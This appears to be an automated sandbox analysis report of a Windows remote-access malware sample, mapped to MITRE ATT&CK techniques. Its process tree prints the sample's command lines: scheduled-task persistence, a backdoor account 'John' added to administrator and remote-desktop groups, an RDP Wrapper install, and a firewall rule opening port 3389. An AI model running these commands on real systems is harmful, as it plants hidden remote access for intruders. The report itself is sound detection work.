rms | 776217117d4b2ecdb07b8a182581e4fd562c0a5785340f86100cf5c1b4eff62e

Virtualization/Sandbox Evasion

T1497

description	ioc	Process
Key opened	\REGISTRY\MACHINE\HARDWARE\ACPI\DSDT\VBOX__	smss.exe

Modifies Windows Firewall 2 TTPs 1 IoCs

evasion

Windows Service

T1543.003

Disable or Modify System Firewall

T1562.004

pid	Process
1008	netsh.exe

Sets DLL path for service in the registry 2 TTPs 1 IoCs

persistence

Registry Run Keys / Startup Folder

T1547.001

Modify Registry

T1112

description	ioc	Process
Set value (str)	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Services\TermService\Parameters\ServiceDll = "%ProgramFiles%\\RDP Wrapper\\rdpwrap.dll"	RDPWinst.exe

Checks BIOS information in registry 2 TTPs 2 IoCs

BIOS information is often read in order to detect sandboxing environments.

Query Registry

System Information Discovery

description	ioc	Process
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\SystemBiosVersion	smss.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\VideoBiosVersion	smss.exe

Checks computer location settings 2 TTPs 3 IoCs

Looks up country code configured in the registry, likely geofence.

Query Registry

System Information Discovery

description	ioc	Process
Key value queried	\REGISTRY\USER\S-1-5-21-2818691465-3043947619-2475182763-1000\Control Panel\International\Geo\Nation	smss.exe
Key value queried	\REGISTRY\USER\S-1-5-21-2818691465-3043947619-2475182763-1000\Control Panel\International\Geo\Nation	winserv.exe
Key value queried	\REGISTRY\USER\S-1-5-21-2818691465-3043947619-2475182763-1000\Control Panel\International\Geo\Nation	winserv.exe

Executes dropped EXE 4 IoCs

pid	Process
1708	winserv.exe
4940	winserv.exe
5032	RDPWinst.exe
3636	winserv.exe

Loads dropped DLL 1 IoCs

pid	Process
4344	svchost.exe

Themida packer 14 IoCs

Detects Themida, an advanced Windows software protection system.

themida

resource	yara_rule
behavioral1/memory/2860-0-0x00007FF7AF680000-0x00007FF7B0618000-memory.dmp	themida
behavioral1/memory/2860-4-0x00007FF7AF680000-0x00007FF7B0618000-memory.dmp	themida
behavioral1/memory/2860-3-0x00007FF7AF680000-0x00007FF7B0618000-memory.dmp	themida
behavioral1/memory/2860-2-0x00007FF7AF680000-0x00007FF7B0618000-memory.dmp	themida
behavioral1/memory/2860-5-0x00007FF7AF680000-0x00007FF7B0618000-memory.dmp	themida
behavioral1/memory/2860-6-0x00007FF7AF680000-0x00007FF7B0618000-memory.dmp	themida
behavioral1/memory/2860-7-0x00007FF7AF680000-0x00007FF7B0618000-memory.dmp	themida
behavioral1/memory/2860-8-0x00007FF7AF680000-0x00007FF7B0618000-memory.dmp	themida
behavioral1/memory/2860-9-0x00007FF7AF680000-0x00007FF7B0618000-memory.dmp	themida
behavioral1/memory/2860-15-0x00007FF7AF680000-0x00007FF7B0618000-memory.dmp	themida
behavioral1/memory/2860-26-0x00007FF7AF680000-0x00007FF7B0618000-memory.dmp	themida
behavioral1/memory/2860-33-0x00007FF7AF680000-0x00007FF7B0618000-memory.dmp	themida
behavioral1/memory/2860-55-0x00007FF7AF680000-0x00007FF7B0618000-memory.dmp	themida
behavioral1/memory/2860-64-0x00007FF7AF680000-0x00007FF7B0618000-memory.dmp	themida

Checks whether UAC is enabled 1 TTPs 1 IoCs

evasion trojan

System Information Discovery

description	ioc	Process
Key value queried	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System\EnableLUA	smss.exe

Modifies WinLogon 2 TTPs 1 IoCs

persistence

Winlogon Helper DLL

T1547.004

Modify Registry

T1112

description	ioc	Process
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon\AllowMultipleTSSessions = "1"	RDPWinst.exe

AutoIT Executable 12 IoCs

AutoIT scripts compiled to PE executables.

resource	yara_rule
behavioral1/memory/2860-4-0x00007FF7AF680000-0x00007FF7B0618000-memory.dmp	autoit_exe
behavioral1/memory/2860-3-0x00007FF7AF680000-0x00007FF7B0618000-memory.dmp	autoit_exe
behavioral1/memory/2860-5-0x00007FF7AF680000-0x00007FF7B0618000-memory.dmp	autoit_exe
behavioral1/memory/2860-6-0x00007FF7AF680000-0x00007FF7B0618000-memory.dmp	autoit_exe
behavioral1/memory/2860-7-0x00007FF7AF680000-0x00007FF7B0618000-memory.dmp	autoit_exe
behavioral1/memory/2860-8-0x00007FF7AF680000-0x00007FF7B0618000-memory.dmp	autoit_exe
behavioral1/memory/2860-9-0x00007FF7AF680000-0x00007FF7B0618000-memory.dmp	autoit_exe
behavioral1/memory/2860-15-0x00007FF7AF680000-0x00007FF7B0618000-memory.dmp	autoit_exe
behavioral1/memory/2860-26-0x00007FF7AF680000-0x00007FF7B0618000-memory.dmp	autoit_exe
behavioral1/memory/2860-33-0x00007FF7AF680000-0x00007FF7B0618000-memory.dmp	autoit_exe
behavioral1/memory/2860-55-0x00007FF7AF680000-0x00007FF7B0618000-memory.dmp	autoit_exe
behavioral1/memory/2860-64-0x00007FF7AF680000-0x00007FF7B0618000-memory.dmp	autoit_exe

Drops file in System32 directory 1 IoCs

description	ioc	Process
File created	C:\Windows\System32\rfxvmt.dll	RDPWinst.exe

Suspicious use of NtSetInformationThreadHideFromDebugger 1 IoCs

pid	Process
2860	smss.exe

Drops file in Program Files directory 5 IoCs

description	ioc	Process
File created	C:\Program Files\RDP Wrapper\rdpwrap.dll	RDPWinst.exe
File opened for modification	C:\Program Files\RDP Wrapper	smss.exe
File created	C:\Program Files\RDP Wrapper\rdpwrap.ini	smss.exe
File opened for modification	C:\Program Files\RDP Wrapper\rdpwrap.ini	smss.exe
File created	C:\Program Files\RDP Wrapper\rdpwrap.ini	RDPWinst.exe

Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).

System Information Discovery
T1082

Checks processor information in registry 2 TTPs 2 IoCs

Processor information is often read in order to detect sandboxing environments.

Query Registry

System Information Discovery

description	ioc	Process
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\ProcessorNameString	smss.exe
Key opened	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0	smss.exe

Creates scheduled task(s) 1 TTPs 2 IoCs

Schtasks is often used by malware for persistence or to perform post-infection execution.

persistence

Scheduled Task/Job

pid	Process
2868	schtasks.exe
3868	schtasks.exe

Delays execution with timeout.exe 1 IoCs

evasion

pid	Process
2552	timeout.exe

Modifies registry class 3 IoCs

description	ioc	Process
Key created	\REGISTRY\USER\S-1-5-21-2818691465-3043947619-2475182763-1000_Classes\MIME\Database	smss.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\MIME\Database\Charset	smss.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\MIME\Database\Codepage	smss.exe

NTFS ADS 1 IoCs

description	ioc	Process
File opened for modification	C:\ProgramData\Setup\winmgmts:\	smss.exe

Runs net.exe

Suspicious behavior: EnumeratesProcesses 64 IoCs

pid	Process
2860	smss.exe
2860	smss.exe
2860	smss.exe
2860	smss.exe
2860	smss.exe
2860	smss.exe
2860	smss.exe
2860	smss.exe
2860	smss.exe
2860	smss.exe
2860	smss.exe
2860	smss.exe
2860	smss.exe
2860	smss.exe
2860	smss.exe
2860	smss.exe
1708	winserv.exe
1708	winserv.exe
1708	winserv.exe
1708	winserv.exe
1708	winserv.exe
1708	winserv.exe
4940	winserv.exe
4940	winserv.exe
4940	winserv.exe
4940	winserv.exe
4344	svchost.exe
4344	svchost.exe
4344	svchost.exe
4344	svchost.exe
2860	smss.exe
2860	smss.exe
2860	smss.exe
2860	smss.exe
2860	smss.exe
2860	smss.exe
2860	smss.exe
2860	smss.exe
2860	smss.exe
2860	smss.exe
2860	smss.exe
2860	smss.exe
2860	smss.exe
2860	smss.exe
2860	smss.exe
2860	smss.exe
2860	smss.exe
2860	smss.exe
2860	smss.exe
2860	smss.exe
2860	smss.exe
2860	smss.exe
2860	smss.exe
2860	smss.exe
2860	smss.exe
2860	smss.exe
2860	smss.exe
2860	smss.exe
2860	smss.exe
2860	smss.exe
2860	smss.exe
2860	smss.exe
2860	smss.exe
2860	smss.exe

Suspicious behavior: LoadsDriver 1 IoCs

pid	Process
660	Process not Found

Suspicious use of AdjustPrivilegeToken 6 IoCs

description	pid	Process
Token: SeDebugPrivilege	1708	winserv.exe
Token: SeTakeOwnershipPrivilege	4940	winserv.exe
Token: SeTcbPrivilege	4940	winserv.exe
Token: SeTcbPrivilege	4940	winserv.exe
Token: SeDebugPrivilege	5032	RDPWinst.exe
Token: SeAuditPrivilege	4344	svchost.exe

Suspicious use of SetWindowsHookEx 12 IoCs

pid	Process
1708	winserv.exe
1708	winserv.exe
1708	winserv.exe
1708	winserv.exe
4940	winserv.exe
4940	winserv.exe
4940	winserv.exe
4940	winserv.exe
3636	winserv.exe
3636	winserv.exe
3636	winserv.exe
3636	winserv.exe

Suspicious use of WriteProcessMemory 58 IoCs

description	pid	Process	procid_target
PID 2860 wrote to memory of 3868	2860	smss.exe	85
PID 2860 wrote to memory of 3868	2860	smss.exe	85
PID 2860 wrote to memory of 2868	2860	smss.exe	87
PID 2860 wrote to memory of 2868	2860	smss.exe	87
PID 2860 wrote to memory of 1708	2860	smss.exe	89
PID 2860 wrote to memory of 1708	2860	smss.exe	89
PID 2860 wrote to memory of 1708	2860	smss.exe	89
PID 2860 wrote to memory of 4948	2860	smss.exe	92
PID 2860 wrote to memory of 4948	2860	smss.exe	92
PID 4948 wrote to memory of 4716	4948	cmd.exe	95
PID 4948 wrote to memory of 4716	4948	cmd.exe	95
PID 4716 wrote to memory of 1604	4716	net.exe	96
PID 4716 wrote to memory of 1604	4716	net.exe	96
PID 2860 wrote to memory of 1268	2860	smss.exe	97
PID 2860 wrote to memory of 1268	2860	smss.exe	97
PID 1268 wrote to memory of 1480	1268	cmd.exe	99
PID 1268 wrote to memory of 1480	1268	cmd.exe	99
PID 1480 wrote to memory of 3564	1480	net.exe	100
PID 1480 wrote to memory of 3564	1480	net.exe	100
PID 2860 wrote to memory of 4064	2860	smss.exe	101
PID 2860 wrote to memory of 4064	2860	smss.exe	101
PID 4064 wrote to memory of 1636	4064	cmd.exe	103
PID 4064 wrote to memory of 1636	4064	cmd.exe	103
PID 1636 wrote to memory of 3420	1636	net.exe	104
PID 1636 wrote to memory of 3420	1636	net.exe	104
PID 2860 wrote to memory of 2096	2860	smss.exe	105
PID 2860 wrote to memory of 2096	2860	smss.exe	105
PID 2096 wrote to memory of 2520	2096	cmd.exe	107
PID 2096 wrote to memory of 2520	2096	cmd.exe	107
PID 2520 wrote to memory of 388	2520	net.exe	108
PID 2520 wrote to memory of 388	2520	net.exe	108
PID 2860 wrote to memory of 2020	2860	smss.exe	109
PID 2860 wrote to memory of 2020	2860	smss.exe	109
PID 2020 wrote to memory of 1108	2020	cmd.exe	111
PID 2020 wrote to memory of 1108	2020	cmd.exe	111
PID 2860 wrote to memory of 1752	2860	smss.exe	112
PID 2860 wrote to memory of 1752	2860	smss.exe	112
PID 1108 wrote to memory of 2996	1108	net.exe	113
PID 1108 wrote to memory of 2996	1108	net.exe	113
PID 1752 wrote to memory of 4304	1752	cmd.exe	115
PID 1752 wrote to memory of 4304	1752	cmd.exe	115
PID 4304 wrote to memory of 3548	4304	net.exe	116
PID 4304 wrote to memory of 3548	4304	net.exe	116
PID 2860 wrote to memory of 2612	2860	smss.exe	117
PID 2860 wrote to memory of 2612	2860	smss.exe	117
PID 2612 wrote to memory of 3776	2612	cmd.exe	119
PID 2612 wrote to memory of 3776	2612	cmd.exe	119
PID 3776 wrote to memory of 2744	3776	net.exe	120
PID 3776 wrote to memory of 2744	3776	net.exe	120
PID 2860 wrote to memory of 5032	2860	smss.exe	123
PID 2860 wrote to memory of 5032	2860	smss.exe	123
PID 2860 wrote to memory of 5032	2860	smss.exe	123
PID 5032 wrote to memory of 1008	5032	RDPWinst.exe	127
PID 5032 wrote to memory of 1008	5032	RDPWinst.exe	127
PID 2860 wrote to memory of 3216	2860	smss.exe	128
PID 2860 wrote to memory of 3216	2860	smss.exe	128
PID 3216 wrote to memory of 2552	3216	cmd.exe	130
PID 3216 wrote to memory of 2552	3216	cmd.exe	130

Uses Task Scheduler COM API 1 TTPs
The Task Scheduler COM API can be used to schedule applications to run on boot or at set times.
persistence

Query Registry
T1012

C:\Users\Admin\AppData\Local\Temp\smss.exe
"C:\Users\Admin\AppData\Local\Temp\smss.exe"
1⤵
- Identifies VirtualBox via ACPI registry values (likely anti-VM)
- Checks BIOS information in registry
- Checks computer location settings
- Checks whether UAC is enabled
- Suspicious use of NtSetInformationThreadHideFromDebugger
- Drops file in Program Files directory
- Checks processor information in registry
- Modifies registry class
- NTFS ADS
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of WriteProcessMemory
PID:2860
- C:\Windows\System32\schtasks.exe
  "C:\Windows\System32\schtasks.exe" /create /TN "Microsoft\Windows\Wininet\winsers" /TR "\"C:\ProgramData\Windows Tasks Service\winserv.exe\" Task Service\winserv.exe" /SC MINUTE /MO 1 /RL HIGHEST
  2⤵
  - Creates scheduled task(s)
  PID:3868
- C:\Windows\System32\schtasks.exe
  "C:\Windows\System32\schtasks.exe" /create /TN "Microsoft\Windows\Wininet\winser" /TR "\"C:\ProgramData\Windows Tasks Service\winserv.exe\" Task Service\winserv.exe" /SC ONLOGON /RL HIGHEST
  2⤵
  - Creates scheduled task(s)
  PID:2868
- C:\ProgramData\Windows Tasks Service\winserv.exe
  "C:\ProgramData\Windows Tasks Service\winserv.exe"
  2⤵
  - Checks computer location settings
  - Executes dropped EXE
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  - Suspicious use of SetWindowsHookEx
  PID:1708
- - C:\ProgramData\Windows Tasks Service\winserv.exe
    "C:\ProgramData\Windows Tasks Service\winserv.exe" -second
    3⤵
    - Executes dropped EXE
    - Suspicious behavior: EnumeratesProcesses
    - Suspicious use of AdjustPrivilegeToken
    - Suspicious use of SetWindowsHookEx
    PID:4940
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /c net user John 12345 /add
  2⤵
  - Suspicious use of WriteProcessMemory
  PID:4948
- - C:\Windows\system32\net.exe
    net user John 12345 /add
    3⤵
    - Suspicious use of WriteProcessMemory
    PID:4716
  - - C:\Windows\system32\net1.exe
      C:\Windows\system32\net1 user John 12345 /add
      4⤵
      PID:1604
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /c net localgroup "Администраторы" John /add
  2⤵
  - Suspicious use of WriteProcessMemory
  PID:1268
- - C:\Windows\system32\net.exe
    net localgroup "Администраторы" John /add
    3⤵
    - Suspicious use of WriteProcessMemory
    PID:1480
  - - C:\Windows\system32\net1.exe
      C:\Windows\system32\net1 localgroup "Администраторы" John /add
      4⤵
      PID:3564
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /c net localgroup "Пользователи удаленного рабочего стола" John /add
  2⤵
  - Suspicious use of WriteProcessMemory
  PID:4064
- - C:\Windows\system32\net.exe
    net localgroup "Пользователи удаленного рабочего стола" John /add
    3⤵
    - Suspicious use of WriteProcessMemory
    PID:1636
  - - C:\Windows\system32\net1.exe
      C:\Windows\system32\net1 localgroup "Пользователи удаленного рабочего стола" John /add
      4⤵
      PID:3420
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /c net localgroup "Пользователи удаленного управления" john /add" John /add
  2⤵
  - Suspicious use of WriteProcessMemory
  PID:2096
- - C:\Windows\system32\net.exe
    net localgroup "Пользователи удаленного управления" john /add" John /add
    3⤵
    - Suspicious use of WriteProcessMemory
    PID:2520
  - - C:\Windows\system32\net1.exe
      C:\Windows\system32\net1 localgroup "Пользователи удаленного управления" john /add" John /add
      4⤵
      PID:388
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /c net localgroup "Administrators" John /add
  2⤵
  - Suspicious use of WriteProcessMemory
  PID:2020
- - C:\Windows\system32\net.exe
    net localgroup "Administrators" John /add
    3⤵
    - Suspicious use of WriteProcessMemory
    PID:1108
  - - C:\Windows\system32\net1.exe
      C:\Windows\system32\net1 localgroup "Administrators" John /add
      4⤵
      PID:2996
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /c net localgroup "Administradores" John /add
  2⤵
  - Suspicious use of WriteProcessMemory
  PID:1752
- - C:\Windows\system32\net.exe
    net localgroup "Administradores" John /add
    3⤵
    - Suspicious use of WriteProcessMemory
    PID:4304
  - - C:\Windows\system32\net1.exe
      C:\Windows\system32\net1 localgroup "Administradores" John /add
      4⤵
      PID:3548
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /c net localgroup "Remote Desktop Users" john /add
  2⤵
  - Suspicious use of WriteProcessMemory
  PID:2612
- - C:\Windows\system32\net.exe
    net localgroup "Remote Desktop Users" john /add
    3⤵
    - Suspicious use of WriteProcessMemory
    PID:3776
  - - C:\Windows\system32\net1.exe
      C:\Windows\system32\net1 localgroup "Remote Desktop Users" john /add
      4⤵
      PID:2744
- C:\ProgramData\RDPWinst.exe
  C:\ProgramData\RDPWinst.exe -i
  2⤵
  - Sets DLL path for service in the registry
  - Executes dropped EXE
  - Modifies WinLogon
  - Drops file in System32 directory
  - Drops file in Program Files directory
  - Suspicious use of AdjustPrivilegeToken
  - Suspicious use of WriteProcessMemory
  PID:5032
- - C:\Windows\SYSTEM32\netsh.exe
    netsh advfirewall firewall add rule name="Remote Desktop" dir=in protocol=tcp localport=3389 profile=any action=allow
    3⤵
    - Modifies Windows Firewall
    PID:1008
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /c C:\Programdata\Install\del.bat
  2⤵
  - Suspicious use of WriteProcessMemory
  PID:3216
- - C:\Windows\system32\timeout.exe
    timeout 5
    3⤵
    - Delays execution with timeout.exe
    PID:2552

C:\Windows\System32\svchost.exe
C:\Windows\System32\svchost.exe -k NetworkService -s TermService
1⤵
PID:4880

C:\Windows\System32\svchost.exe
C:\Windows\System32\svchost.exe -k NetworkService -s TermService
1⤵
- Loads dropped DLL
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
PID:4344

C:\ProgramData\Windows Tasks Service\winserv.exe
"C:\ProgramData\Windows Tasks Service\winserv.exe" Task Service\winserv.exe
1⤵
- Checks computer location settings
- Executes dropped EXE
- Suspicious use of SetWindowsHookEx
PID:3636

Network

MITRE ATT&CK Enterprise v15

Reconnaissance

Resource Development

Initial Access

Execution

Scheduled Task/Job

Persistence

Account Manipulation

T1098

Boot or Logon Autostart Execution

T1547

Registry Run Keys / Startup Folder

T1547.001

Winlogon Helper DLL

T1547.004

Create or Modify System Process

T1543

Windows Service

T1543.003

Scheduled Task/Job

Privilege Escalation

Account Manipulation

T1098

Boot or Logon Autostart Execution

T1547

Registry Run Keys / Startup Folder

T1547.001

Winlogon Helper DLL

T1547.004

Create or Modify System Process

T1543

Windows Service

T1543.003

Scheduled Task/Job

Defense Evasion

Impair Defenses

T1562

Disable or Modify System Firewall

T1562.004

Modify Registry

T1112

Virtualization/Sandbox Evasion

T1497

Credential Access

Discovery

Query Registry

System Information Discovery